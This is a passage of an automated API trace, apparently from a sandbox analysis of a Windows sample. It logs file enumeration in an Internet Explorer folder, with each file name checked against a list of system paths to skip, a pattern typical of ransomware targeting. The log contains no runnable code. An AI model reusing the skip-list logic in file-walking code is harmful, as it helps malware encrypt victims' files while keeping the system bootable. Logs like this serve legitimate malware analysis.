cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0099.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x653f590, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ielowutil.exe", lpUsedDefaultChar=0x0) returned 13 [0099.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0099.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x653f590, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ielowutil.exe", lpUsedDefaultChar=0x0) returned 13 [0099.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0099.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x653f5e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ielowutil.exe", lpUsedDefaultChar=0x0) returned 13 [0099.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0099.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x653f618, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ielowutil.exe", lpUsedDefaultChar=0x0) returned 13 [0099.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0099.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.404] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0099.404] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0099.404] lstrcmpiW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0099.404] lstrcmpiW (lpString1="ieproxy.dll", lpString2="...") returned 1 [0099.404] lstrcmpiW (lpString1="ieproxy.dll", lpString2="windows") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="rsa") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="NTDETECT.COM") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="ntldr") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="MSDOS.SYS") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="IO.SYS") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="boot.ini") returned 1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="boot.ini") returned 1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="ntuser.dat") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="desktop.ini") returned 1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="CONFIG.SYS") returned 1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="RECYCLER") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="bootmgr") returned 1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="programdata") returned -1 [0099.405] lstrcmpiW (lpString1="ieproxy.dll", lpString2="appdata") returned 1 [0099.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieproxy.dll", lpUsedDefaultChar=0x0) returned 11 [0099.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieproxy.dll", lpUsedDefaultChar=0x0) returned 11 [0099.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieproxy.dll", lpUsedDefaultChar=0x0) returned 11 [0099.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieproxy.dll", lpUsedDefaultChar=0x0) returned 11 [0099.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.405] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2=".") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="..") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="...") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="windows") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="rsa") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="NTDETECT.COM") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="ntldr") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="MSDOS.SYS") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="IO.SYS") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="boot.ini") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="boot.ini") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="ntuser.dat") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="desktop.ini") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="CONFIG.SYS") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="RECYCLER") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="bootmgr") returned 1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="programdata") returned -1 [0099.406] lstrcmpiW (lpString1="IEShims.dll", lpString2="appdata") returned 1 [0099.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IEShims.dll", lpUsedDefaultChar=0x0) returned 11 [0099.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IEShims.dll", lpUsedDefaultChar=0x0) returned 11 [0099.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IEShims.dll", lpUsedDefaultChar=0x0) returned 11 [0099.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IEShims.dll", lpUsedDefaultChar=0x0) returned 11 [0099.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.407] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2=".") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="..") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="...") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="windows") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="rsa") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="NTDETECT.COM") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="ntldr") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="MSDOS.SYS") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="IO.SYS") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="boot.ini") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="boot.ini") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="ntuser.dat") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="desktop.ini") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="CONFIG.SYS") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="RECYCLER") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="bootmgr") returned 1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="programdata") returned -1 [0099.407] lstrcmpiW (lpString1="iexplore.exe", lpString2="appdata") returned 1 [0099.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iexplore.exe", lpUsedDefaultChar=0x0) returned 12 [0099.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iexplore.exe", lpUsedDefaultChar=0x0) returned 12 [0099.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iexplore.exe", lpUsedDefaultChar=0x0) returned 12 [0099.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iexplore.exe", lpUsedDefaultChar=0x0) returned 12 [0099.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.408] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="...") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="windows") returned -1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="rsa") returned -1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="NTDETECT.COM") returned -1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="ntldr") returned -1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="MSDOS.SYS") returned -1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="IO.SYS") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="boot.ini") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="boot.ini") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="ntuser.dat") returned -1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="desktop.ini") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="CONFIG.SYS") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="RECYCLER") returned -1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="bootmgr") returned 1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="programdata") returned -1 [0099.408] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="appdata") returned 1 [0099.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdbgui.dll", lpUsedDefaultChar=0x0) returned 11 [0099.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdbgui.dll", lpUsedDefaultChar=0x0) returned 11 [0099.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdbgui.dll", lpUsedDefaultChar=0x0) returned 11 [0099.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdbgui.dll", lpUsedDefaultChar=0x0) returned 11 [0099.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.409] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", 